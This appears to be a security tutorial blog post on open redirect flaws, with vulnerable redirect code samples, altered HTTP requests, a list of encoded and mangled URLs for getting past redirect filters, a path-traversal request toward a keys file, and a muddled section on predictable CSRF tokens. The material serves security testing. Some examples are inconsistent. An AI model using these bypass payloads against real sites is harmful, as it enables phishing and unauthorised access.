Open Redirects are Unvalidated redirects and forwards that are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. These vulnerabilities could be escalated further from phishing attack to directory traversal, XSS, CSRF, SSRF, OAuth Token Disclosure. etc
Because the domain name in the altered link is indistinguishable to the original site, phishing attempts have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access. — OWASP Cheat Sheet.
However, URLs that are strictly hardcoded into the source code are somehow safe from Unvalidated redirects, via the client-end.
Example:
.Net Code-response.redirect(“~/mysafe-subdomain/login.aspx”)
Java Code-response.redirect(“http://mysafedomain.com");
PHP Code-<?php
/* browser redirections*/
header(“Location: http://mysafedomain.com");
exit;
?>
Consider an application that relies on the client-end data to generate a redirection query and eventually passes the control of the application to a nefarious user. Opening a portal of opportunities to trick the application and other users.
Example:
.Net Code- string url = request.queryString[“url”];
response.redirect(url);
Here, url
is fetched from a GET or POST query & redirects the user to the destination.
The application accepts input as:
GET /mysafe-subdomain?url=same-safe-domain/index.aspx
Host: mysafedomain.com
HTTP/1.1 302 Object moved
Location: http://mysafedomain.com/
A trickster can alter the request as:
GET /mysafe-subdomain?url=.notsafedomain/donate.plz
Host: mysafedomain.com
HTTP/1.1 302 Object moved
Location: http://safedomain.com/
This causes a redirect to:
http://safedomain.com.notsafedomain/donate.plz
OR
GET /mysafe-subdomain?url=http://not-so-safedomain/donate.plz
Host: mysafedomain.com
HTTP/1.1 302 Object moved
Location: http://notsafedomain.com/
Since the request is originated from the trusted domain, the browser will execute the query as a valid one.
OR
The application accepts input as:
POST /mysafe-subdomain/User HTTP 1.1
Host: mysafedomain.com
HTTP/1.1 302 Object moved
Location: https://mysafedomain.com/
url=mysafe-subdomain/editDetails.aspx
A trickster can alter the request as:
POST /mysafe-subdomain/User HTTP 1.1
Host: mysafedomain.com
HTTP/1.1 302 Object moved
Location: https://mysafedomain.com/
url=https://notsafedomain/pay-to-continue.plz
OR
POST /mysafe-subdomain/User HTTP 1.1
Host: mysafedomain.com
HTTP/1.1 302 Object moved
Location: https://mysafedomain.com/
url=/../../internal-files/hidden.keys
Steps:
HTTP/1.1 302 Object moved
Location: https://mysafedomain.com/
HTTP/1.1 200 OK
Refresh: 0;
url=http://mysafedomain.com/index.html
HTTP/1.1 200 OK
Content-Length: 123
<html>
<head>
<meta http-equiv=”refresh” content=”0;
url=http://mysafedomain.com/index.html">
</head>
</html>
HTTP/1.1 200 OK
Content-Length: 123
<html>
<head>
<script>
document.location=”http://mysafedomain.com/index.html";
</script>
</head>
</html>
In the above scenarios replace the safe redirection URLs with your URL, and modify the request accordingly. If if the application is redirected to a modified destination, it is definitely vulnerable.
The application could be implementing a redirection to an absolute or relative URL, try replacing — an absolute URL with an external domain to check if it redirects or a relative URL with an absolute URL of an external domain to test if it redirects.
Moreover, an application might be performing checks or blacklisting of a certain pattern, by blocking the absolute URLs. You can try modifying the URLs as:
HtTp://notsafedomain.com
%00http://notsafedomain.com
(space)http://notsafedomain.com
//notsafedomain.com
(“http://” encoded) %68%74%74%70%3a%2f%2fnotsafedomain.com
(“http://” double-encoded) %2568%2574%2574%2570%253a%252f%252fnotsafedomain.com
https://notsafedomain.com
http:\\notsafedomain.com
http:///notsafedomain.com
http://http://notsafedomain.com
http://notsafedomain.com/http://notsafedomain.com
hthttp://tp://notsafedomain.com
http:/mysafedomain.com.notsafedomain.com
http://notsafedomain.com/?http://safedomain.com
http://notsafedomain.com/%23http://safedomain.com
In cases, where the redirection is performed via a client-side JavaScript that requests data from a DOM, the code for redirection is typically visible on the client end. Look for below JavaScript APIs that may be performing redirects:
>document.location
>document.URL
>document.open()
>window.location.href
>window.navigate()
>window.open()
To prevent the application from being redirected to a random URL, applications implement CSRF Tokens. Issuing a CSRF token does not mean the application is secure from CSRF.
You can check for the validity of the issued tokens and use stated ways to bypass the validations and measures as:
54adb3bf6a47a24f636213c6bb5b7537c504e997867633756826cee0c4bbbb55
19800765367890026786
19800765367890026787, 19800765367890026788, 19800765367890026789
, etc,.19800765367890026787:82b676033b162958cc97f4690ad01b5c007772b42763be6fe25693f6983f0219
19800765367890026788:9e9589ba387c8a368ff7a4db21618d7af01288c6b234ce2beb7d162e38336602
19800765367890026789:faa9e8d6270703700bd02ae6f7d1d6bebfe25e2530d7fd5f005b1c1aab896e68
For more sample payloads for Open-Redirect, refer to Pentester Land: Cheat Sheet:
Ciao!